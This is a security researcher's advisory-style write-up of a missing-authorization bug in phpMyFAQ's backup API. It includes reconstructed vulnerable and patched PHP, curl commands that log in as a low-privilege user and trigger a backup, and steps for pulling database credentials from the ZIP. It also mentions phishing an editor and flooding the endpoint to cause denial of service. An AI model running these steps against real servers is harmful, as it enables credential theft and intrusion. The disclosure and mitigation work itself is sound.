CVE-2026-24421

phpMyFAQ: The 'Backup for Everyone' Feature You Didn't Ask For

Amit Schendel
Amit Schendel
Senior Security Researcher

Jan 23, 2026·6 min read·1 visit

Executive Summary (TL;DR)

In phpMyFAQ <= 4.0.16, the developers confused authentication with authorization. If you can log in—even as a lowly intern—you can hit the `/api/setup/backup` endpoint. This triggers a full system backup, wrapping up the database configuration (and its credentials) into a nice little ZIP file for you to steal.

A critical authorization failure in phpMyFAQ allows any low-privileged authenticated user to trigger and potentially retrieve full system configuration backups, exposing database credentials and sensitive system data.

The Hook: Who Needs Access Control Anyway?

Let's talk about backups. In the hierarchy of 'sensitive administrative actions,' generating a full system backup is right up there with 'delete database' or 'change root password.' A backup is essentially a snapshot of the kingdom—it often contains configuration files, user data, and the Holy Grail of web exploitation: plaintext database credentials.

phpMyFAQ is a popular open-source FAQ system used by organizations to document... well, everything. It includes a setup API intended for administrators to manage the instance. One of these management functions is, naturally, a backup generator.

Now, imagine you secure your front door with a bio-metric scanner, a keypad, and a guard dog. But then you install a button on the sidewalk labeled 'Dispense Spare Keys' that only requires you to be aware of the house's existence. That is effectively what CVE-2026-24421 is. It turns a high-privilege administrative function into a public utility for anyone with a login.

The Flaw: Authentication != Authorization

The vulnerability lies in a classic logical fallacy that plagues developers from junior interns to senior architects: assuming that because a user is authenticated (logged in), they are authorized to do whatever they ask for.

Located within SetupController.php, the specific endpoint is /api/setup/backup. When a request hits this endpoint, the application dutifully checks userIsAuthenticated(). This function effectively asks, 'Do I know who you are?' If the answer is yes, the code proceeds.

The problem is, it never asks the follow-up question: 'Is this person actually an administrator?'

This is a textbook Missing Authorization vulnerability (CWE-862). The application logic treats a user with the 'Tester' or 'Editor' role exactly the same as the 'Super Admin' for this specific route. It essentially shortcuts the Role-Based Access Control (RBAC) model, allowing low-privileged users to invoke high-privileged system commands.

The Code: The Smoking Gun

Let's look at the logic. While I can't show you the exact proprietary source without a specific commit hash, the logic flow described in the remediation data allows us to reconstruct the crime scene accurately.

The Vulnerable Logic:

In the vulnerable version (<= 4.0.16), the controller looks something like this:

public function actionBackup()
{
    // Check if user is logged in
    if (!$this->user->userIsAuthenticated()) {
        return $this->sendError('Unauthorized', 401);
    }
 
    // OOPS: No check for 'editconfig' or 'admin' rights here!
 
    // Proceed to dump the database and config files
    $backup = new Backup($this->config);
    $zipFile = $backup->create();
 
    return $this->sendResponse(['file' => $zipFile]);
}

See that empty space? That's where the security should be. The code validates identity but ignores authority.

The Fix:

To patch this, we have to enforce an explicit permission check using phpMyFAQ's permission system. The remediation involves adding a gatekeeper that specifically checks for the editconfig permission:

public function actionBackup()
{
    // Check if user is logged in
    if (!$this->user->userIsAuthenticated()) {
        return $this->sendError('Unauthorized', 401);
    }
 
    // THE FIX: Explicitly check for admin/config permissions
    if (!$this->user->getPermission()->checkPermission($this->user->getUserId(), 'editconfig')) {
         return $this->sendError('Forbidden: Admins only', 403);
    }
 
    $backup = new Backup($this->config);
    $zipFile = $backup->create();
 
    return $this->sendResponse(['file' => $zipFile]);
}

Without that second if block, the controller is just a vending machine giving away data to anyone with a token.

The Exploit: Stealing the Keys

Exploiting this is trivially easy. You don't need buffer overflows or complex race conditions. You just need a standard user account. If the target allows open registration, you create an account. If not, you phish a low-level editor.

Once you have credentials, the attack chain is a two-step process.

Step 1: Authenticate

First, we grab a valid session. We'll use curl to simulate the browser interaction:

curl -c cookies.txt \
  -H 'Content-Type: application/json' \
  -d '{"username":"lowpriv","password":"P@ssword123"}' \
  http://target.com/phpmyfaq/api/v3.0/login

Step 2: Trigger the Backup

Now that we have our cookies.txt (proof of identity), we hit the backup endpoint. Note that we might need to pass a version string as data, as indicated by the vulnerability analysis.

curl -i -b cookies.txt \
  -X POST \
  --data '4.0.16' \
  http://target.com/phpmyfaq/api/setup/backup

Step 3: The Loot

The server will chug for a moment (while it compresses the database and config) and respond with a JSON object containing the path to the ZIP file.

{
  "success": true,
  "data": {
    "file": "/backups/phpmyfaq-backup-2026-01-23.zip"
  }
}

If the server config allows direct access to that path (which it often does), you simply download the ZIP, unzip it, and open config/database.php. Congratulations, you now have the database hostname, username, and password.

The Impact: Why You Should Care

This isn't just about reading some FAQ entries you weren't supposed to see. This is Confidentiality loss on a systemic level.

  1. Credential Theft: The database.php file inside the backup contains the cleartext (or easily decryptable) credentials for the database. If the database port is open to the internet, the attacker has full R/W access to your data.
  2. System Info: The backup often contains path information, version numbers, and user lists, providing a roadmap for further attacks.
  3. Denial of Service (DoS): Even if the attacker can't download the file, they can spam the backup endpoint. Generating a full system ZIP is CPU and I/O intensive. A simple script triggering this every second will fill up the disk space and spike the CPU, effectively killing the server.

It is a low-complexity attack with high-severity consequences.

The Mitigation: Stop the Bleeding

If you are running phpMyFAQ versions up to 4.0.16, you are vulnerable. Here is your battle plan.

Immediate Remediation:

  1. Upgrade: The vendor has patched this in versions 4.0.17 and later. Update immediately.
  2. Access Control: If you cannot update, block access to /api/setup/backup at your web server level (Nginx/Apache) for all IPs except your management VPN.
  3. Hardening: Check your backup directory. It should never be accessible via the web browser. Use .htaccess or Nginx deny all directives on the backup folder to prevent direct downloads of .zip files.

Developers, learn the lesson: Authentication is just the bouncer at the door. Authorization is the VIP rope. Don't confuse the two.

Technical Appendix

CVSS Score
6.5/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L

Affected Systems

phpMyFAQ <= 4.0.16

Affected Versions Detail

Product
Affected Versions
Fixed Version
phpMyFAQ
thorsten
<= 4.0.164.0.17
AttributeDetail
CWE IDCWE-862 (Missing Authorization)
CVSS v3.16.5 (Medium)
Attack VectorNetwork (API)
Privileges RequiredLow (Authenticated User)
ImpactConfidentiality (High), Availability (Low)
Exploit StatusPoC Available
CWE-862
Missing Authorization

The software does not perform an authorization check when an actor attempts to access a resource or perform an action.

Vulnerability Timeline

CVE ID Reserved
2026-01-23
Public Advisory (GHSA) Released
2026-01-23

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.